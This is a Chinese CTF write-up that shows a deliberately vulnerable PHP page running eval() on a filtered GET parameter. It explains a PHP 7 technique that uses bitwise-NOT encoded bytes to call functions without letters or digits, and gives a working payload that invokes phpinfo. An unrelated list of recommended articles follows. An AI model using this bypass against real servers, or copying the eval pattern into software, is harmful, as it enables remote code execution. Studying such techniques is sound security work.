RCE - - 无字母数字远程命令执行

题目源码

cpp 复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

分析

这道题 code 接get传参,完了对传进来的内容进行正则匹配,通过观察还可以看出这道题有两个限制:

  1. webshell长度不超过35位

  2. 除了不包含字母数字,还不能包含$_

所以我们有关$和_的方式都无法实现了

php7解法

在PHP7中就不是非常困难,因为PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了()()这种形式的命令执行

<?php

(phpinfo())();

那么这道题就可以用这样的方式来做,但是还是会出现字母,我们就会想到编码,get传参使用urlcode编码,但是这种编码对只会对符号进行编码,字母并不在它的编码范围里,这是我们想到取反操作,得到:

(~%8F%97%8F%96%91%99%90)();

执行成功,我们只用把里面要去反的函数的反码进行更换即可。但是,这种方法只适用于php版本在7以上,低版本并不支持这种形式。

相关推荐
JarvanMo7 分钟前
Flutter. 适用于 GetX 5 的 CLI (命令行接口/工具)
前端
赶飞机偏偏下雨10 分钟前
【Java笔记】消息队列
java·开发语言·笔记
dyxal10 分钟前
VS Code 1.52.1 对应一些插件版本
前端·chrome
融化的雪22 分钟前
reactflow整理节点,尾节点位置的大坑
开发语言·前端·javascript
豐儀麟阁贵30 分钟前
2.6 代码注释与编码规
java·开发语言
程序员三明治31 分钟前
【Mybatis从入门到入土】ResultMap映射、多表查询与缓存机制全解析
java·sql·缓存·mybatis·resultmap·缓存机制·多表查询
Gazer_S33 分钟前
【理解React Hooks与JavaScript类型系统】
前端·javascript·react.js
鹏多多34 分钟前
前端IndexedDB数据库高效管理插件localForage的教程+案例
前端·javascript·vue.js
华仔啊36 分钟前
Java 重试机制没写对,线上很容易出问题!这份生产级方案请收好
java·后端
你不是我我39 分钟前
【Java 开发日记】什么是线程池?它的工作原理?
java·开发语言